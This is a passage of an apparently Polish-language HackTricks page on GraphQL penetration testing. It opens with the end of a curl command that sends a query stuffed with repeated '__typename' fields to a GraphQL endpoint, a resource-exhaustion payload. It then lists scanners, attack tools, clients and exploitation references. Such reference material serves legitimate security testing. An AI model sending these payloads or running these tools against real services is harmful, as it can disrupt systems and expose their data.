\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Narzędzia

Skanery podatności

• https://github.com/dolevf/graphql-cop: Testuje powszechne błędy konfiguracji punktów końcowych graphql

• https://github.com/assetnote/batchql: Skrypt audytujący bezpieczeństwo GraphQL z naciskiem na wykonywanie zbiorczych zapytań i mutacji GraphQL.

• https://github.com/dolevf/graphw00f: Rozpoznaje używany graphql

• https://github.com/gsmith257-cyber/GraphCrawler: Zestaw narzędzi, który można wykorzystać do pobierania schematów i wyszukiwania danych wrażliwych, testowania autoryzacji, ataków brute force na schematy oraz znajdowania ścieżek do danego typu.

• https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Może być używany jako samodzielne narzędzie lub rozszerzenie Burp.

• https://github.com/swisskyrepo/GraphQLmap: Może być używany jako klient CLI, aby zautomatyzować ataki

• https://gitlab.com/dee-see/graphql-path-enum: Narzędzie, które wymienia różne sposoby osiągnięcia danego typu w schemacie GraphQL.

• https://github.com/doyensec/GQLSpection: Następca trybów samodzielnych i CLI InQL

• https://github.com/doyensec/inql: Rozszerzenie Burp do zaawansowanego testowania GraphQL. Skaner jest rdzeniem InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik schematu introspekcji. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w uporządkowany widok do analizy. Komponent Atakujący pozwala na przeprowadzanie zbiorczych ataków GraphQL, co może być przydatne do omijania źle zaimplementowanych limitów szybkości.

• https://github.com/nikitastupin/clairvoyance: Próbuje uzyskać schemat, nawet gdy introspekcja jest wyłączona, korzystając z pomocy niektórych baz danych Graphql, które zasugerują nazwy mutacji i parametrów.

Klienci

• https://github.com/graphql/graphiql: Klient GUI

• https://altair.sirmuel.design/: Klient GUI

Testy automatyczne

https://graphql-dashboard.herokuapp.com/graphql-dashboard.herokuapp.com

• Wideo wyjaśniające AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU

Odniesienia

• https://jondow.eu/practical-graphql-attack-vectors/

• https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

• https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4

• http://ghostlulz.com/api-hacking-graphql/

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md

• https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

• https://portswigger.net/web-security/graphql

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.